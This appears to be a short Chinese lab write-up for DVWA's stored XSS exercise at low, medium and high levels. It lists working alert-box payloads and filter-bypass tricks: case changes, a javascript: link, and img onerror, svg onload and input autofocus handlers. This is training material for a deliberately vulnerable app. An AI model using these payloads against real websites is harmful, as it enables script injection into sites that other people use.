【dvwa靶场：XSS系列】XSS (Stored)低-中-高级别，通关啦

 更改name的文本数量限制大小，

其他我们只在name中进行操作

【除了低级可以在message中进行操作】

一、低级low

<script>alert("假客套")</script>

二、中级middle

过滤了小写，咱们可以大写

<Script>alert("假客套")</script>

点击事件触发弹窗

<a href="javascript:alert('假客套')">点击我触发弹窗</a>

三、高级high

过滤了script以及括号，我们使用其他的标签

<img src=x onerror=alert("假客套")>

<svg onload=alert('假客套');>

慎用，会卡哦，需要清除浏览器缓存，再进入dvwa的xss的stored中，再次点击Clear Guestbook

<input onfocus = alert('假客套') autofocus/>